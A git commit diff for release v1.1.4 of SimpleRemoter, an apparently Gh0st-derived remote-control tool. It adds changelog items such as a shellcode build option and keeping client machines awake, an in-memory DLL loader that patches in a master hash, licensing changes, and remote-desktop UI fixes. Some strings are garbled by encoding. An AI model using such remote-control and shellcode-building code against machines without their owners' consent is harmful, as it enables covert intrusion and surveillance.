Release v1.1.4

This commit is contained in:
yuanyuanxiang
2025-07-29 03:42:59 +08:00
parent 7068394305
commit 3a1e22ec47
15 changed files with 8646 additions and 6514 deletions

View File

@@ -294,6 +294,23 @@ Release v1.1.3
- 改进:支持授权在线主机数量 - 改进:支持授权在线主机数量
- 修复:#159 在 TestRun 注入模式下授权无效的问题 - 修复:#159 在 TestRun 注入模式下授权无效的问题
**2025.07.29**
Release v1.1.4
* 修复:限制使用 UDP 的在线主机数量
* 新功能:实现基于 UDP 的 KCP 协议
* 改进:为构建客户端添加随机协议选项
* 新功能:支持远程桌面自适应窗口大小
* 新功能:添加菜单项用于生成 shellcode
* 新功能:支持将客户端分配给其他主控端
* 新功能:支持将客户端添加到监视列表
* 改进:避免客户端计算机进入睡眠状态
* 修复:#170 移除对 `VCOMP140.dll` 的依赖
* 改进:显示客户端应用程序版本
* 修复:每周刷新一次客户端公网 IP
--- ---
# 6.其他项目 <a id="6-other-projects"></a> # 6.其他项目 <a id="6-other-projects"></a>

View File

@@ -306,6 +306,23 @@ Release v1.1.3
* Improve: Support authorizing the online host quantity * Improve: Support authorizing the online host quantity
* fix#159 Authorization doesn't work under TestRun injection * fix#159 Authorization doesn't work under TestRun injection
**2025.07.29**
Release v1.1.4
* fix: Limit the online host number which uses UDP
* Feature: Implement KCP protocol - based on UDP
* Improve: Add random protocol option for building client
* Feature: Support remote desktop adaptive to window size
* Feature: Add a menu item to build shellcode
* Feature: support assigning client to another master
* Feature: Support adding client to watch list
* Improve: Avoid client computer going to sleep
* fix: #170 Remove the dependency of `VCOMP140.dll`
* Improve: Showing the client application version
* fix: Refresh client public IP every one week
--- ---
# 6. Related Projects # 6. Related Projects

BIN
Releases/v1.1.4/Yama.exe Normal file

Binary file not shown.

View File

@@ -262,7 +262,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} else { } else {
unsigned short* days = (unsigned short*)(buf + 1); unsigned short* days = (unsigned short*)(buf + 1);
unsigned short* num = (unsigned short*)(buf + 3); unsigned short* num = (unsigned short*)(buf + 3);
config* cfg = pwdHash == masterHash ? new config : new iniFile; config* cfg = ((pwdHash == masterHash) && IsDebug) ? new config : new iniFile;
cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode); cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode);
cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64); cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64);
Mprintf("Update authorization: %s, HMAC: %s\n", passCode, buf+64); Mprintf("Update authorization: %s, HMAC: %s\n", passCode, buf+64);

File diff suppressed because it is too large Load Diff

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,1,3 FILEVERSION 1,0,1,4
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.1.3" VALUE "FileVersion", "1.0.1.4"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"

View File

@@ -8,6 +8,7 @@
#include <stdint.h> #include <stdint.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include "../common/hash.h"
#ifdef _DEBUG #ifdef _DEBUG
#define Mprintf printf #define Mprintf printf
@@ -262,8 +263,7 @@ extern DLL_API DWORD WINAPI run(LPVOID param) {
if (dllData == NULL) return -1; if (dllData == NULL) return -1;
void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == execMem) return -2; if (NULL == execMem) return -2;
char find[] = "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"; int offset = MemoryFind(dllData, MASTER_HASH, size, sizeof(MASTER_HASH)-1);
int offset = MemoryFind(dllData, find, size, sizeof(find)-1);
if (offset != -1) { if (offset != -1) {
memcpy(dllData + offset, info->User, 64); memcpy(dllData + offset, info->User, 64);
} }

View File

@@ -73,8 +73,7 @@ typedef void* LPVOID, * HANDLE;
#define FLAG_GHOST FLAG_FINDEN #define FLAG_GHOST FLAG_FINDEN
// <20><><EFBFBD>س<EFBFBD><D8B3><EFBFBD>Ψһ<CEA8><D2BB>ʶ #include "hash.h"
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
#ifndef GET_FILEPATH #ifndef GET_FILEPATH
#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file) #define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file)

48
common/hash.h Normal file
View File

@@ -0,0 +1,48 @@
/*
原文https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.1.1
自v1.1.1版本开始,主控程序需要授权,并且会自动连接到授权服务器,您可以联系作者请求授权。
如果对这个有意见,请使用早期版本(<v1.0.8)。自行修改和编译程序,也可以解决该问题(参考 #91
作者投入了业余精力来维护、更新本软件,开源仅供学习交流之用,盈利并非主要目的。
若需使用发布版本,须获得授权,需要支付一定的授权费用。
你可以自由修改代码并自行编译使用(请参考上述问题:#91此情况下不收取任何费用。
建议用户优先尝试自行编译,或测试旧版本是否已能满足需求;如仍有需要且具备预算,可再考虑正式授权。
如已获得授权,后续发布的新版本可继续使用,且未使用完的授权时间将自动顺延至新版本。
⚠️ 本软件仅限于合法、正当、合规的用途。禁止将本软件用于任何违法、恶意、侵权或违反道德规范的行为。
作者不对任何因滥用软件所引发的法律责任、损害或争议承担任何责任,并保留在发现或怀疑不当用途时拒绝或终止授权的权利。
--------------------------------------------------------------------------------------------------------------
Starting from this version, the main control program requires authorization and will automatically
connect to the authorization server. You may contact the author to request a license.
If you have concerns about this mechanism, please use an earlier version (prior to v1.0.8).
Alternatively, you may modify and compile the program yourself to bypass this requirement (see #91).
The author maintains and updates this software in their spare time. It is open-sourced solely for
educational and non-commercial use; profit is not the primary goal.
To use the official release version, a license must be obtained, which requires payment of a licensing fee.
You are free to modify the code and compile it for your own use (please refer to the note above: #91).
No fees are charged in this case.
Users are encouraged to first attempt self-compilation or test an earlier version to see if it meets their needs.
If further functionality is required and budget is available, you may then consider obtaining a formal license.
If a license is obtained, future versions of the software can continue to be used under the same license,
and any remaining license time will be automatically carried over to the new version.
⚠️ This software is intended for lawful, legitimate, and compliant use only.
Any use of this software for illegal, malicious, infringing, or unethical purposes is strictly prohibited.
The author shall not be held liable for any legal issues, damages, or disputes resulting from misuse of
the software, and reserves the right to refuse or revoke authorization if improper use is discovered or suspected.
*/
// 主控程序唯一标识
// 提示: 修改这个哈希可能造成一些功能受限自主控的v1.1.1版本起,程序的诸多功能依赖于该哈希.
// 因此对于想破除程序授权限制的行为建议基于v1.1.1版本,甚至使用无需授权的版本(如能满足需求).
// 当然这些早期版本没有包含问题修复和新的功能.
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"

View File

@@ -109,6 +109,7 @@ BOOL CMy2015RemoteApp::InitInstance()
{ {
CloseHandle(m_Mutex); CloseHandle(m_Mutex);
m_Mutex = NULL; m_Mutex = NULL;
MessageBoxA(NULL, "һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
return FALSE; return FALSE;
} }
} }

Binary file not shown.

View File

@@ -763,7 +763,8 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="")
if (g_2015RemoteDlg->m_superID % 313 == 0) if (g_2015RemoteDlg->m_superID % 313 == 0)
{ {
server->iHeaderEnc = PROTOCOL_HELL; server->iHeaderEnc = PROTOCOL_HELL;
server->protoType = PROTO_RANDOM; // TODO: UDP 协议不稳定
server->protoType = PROTO_TCP;
} }
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE); server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
memcpy(server->pwdHash, GetPwdHash().c_str(), 64); memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
@@ -866,9 +867,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
CDialogEx::OnInitDialog(); CDialogEx::OnInitDialog();
if (!IsPwdHashValid()) { if (!IsPwdHashValid()) {
MessageBox("此程序为非法的应用程序,无法正常运行!", "错误", MB_ICONERROR); THIS_CFG.SetStr("settings", "superAdmin", "");
OnMainExit(); THIS_CFG.SetStr("settings", "Password", "");
return FALSE; THIS_CFG.SetInt("settings", "MaxConnection", 2);
THIS_APP->UpdateMaxConnection(2);
} }
if (GetPwdHash() == GetMasterHash()) { if (GetPwdHash() == GetMasterHash()) {
auto pass = THIS_CFG.GetStr("settings", "superAdmin"); auto pass = THIS_CFG.GetStr("settings", "superAdmin");

View File

@@ -13,7 +13,8 @@
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx) IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
// 主控程序唯一标识 // 主控程序唯一标识
char g_MasterID[_MAX_PATH] = { PWD_HASH256 }; // 密码的哈希值
char g_MasterID[_MAX_PATH] = { "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43" };
std::string GetPwdHash(){ std::string GetPwdHash(){
static auto id = std::string(g_MasterID).substr(0, 64); static auto id = std::string(g_MasterID).substr(0, 64);

View File

@@ -5,11 +5,9 @@
#include "Resource.h" #include "Resource.h"
#include "common/commands.h" #include "common/commands.h"
// 密码的哈希值
// 提示请用hashSHA256函数获得密码的哈希值你应该用自己的密码生成哈希值并替换这个默认值.
#define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
// CPasswordDlg 对话框 // CPasswordDlg 对话框
// 获取密码哈希值
std::string GetPwdHash(); std::string GetPwdHash();
const Validation* GetValidation(int offset=100); const Validation* GetValidation(int offset=100);

View File

@@ -178,6 +178,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
ICONINFO CursorInfo; ICONINFO CursorInfo;
::GetIconInfo(m_hRemoteCursor, &CursorInfo); ::GetIconInfo(m_hRemoteCursor, &CursorInfo);
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
GetClientRect(&m_CRect); GetClientRect(&m_CRect);
@@ -515,7 +516,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
case IDM_ADAPTIVE_SIZE: { case IDM_ADAPTIVE_SIZE: {
m_bAdaptiveSize = !m_bAdaptiveSize; m_bAdaptiveSize = !m_bAdaptiveSize;
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize); ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize); SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
break; break;
} }
} }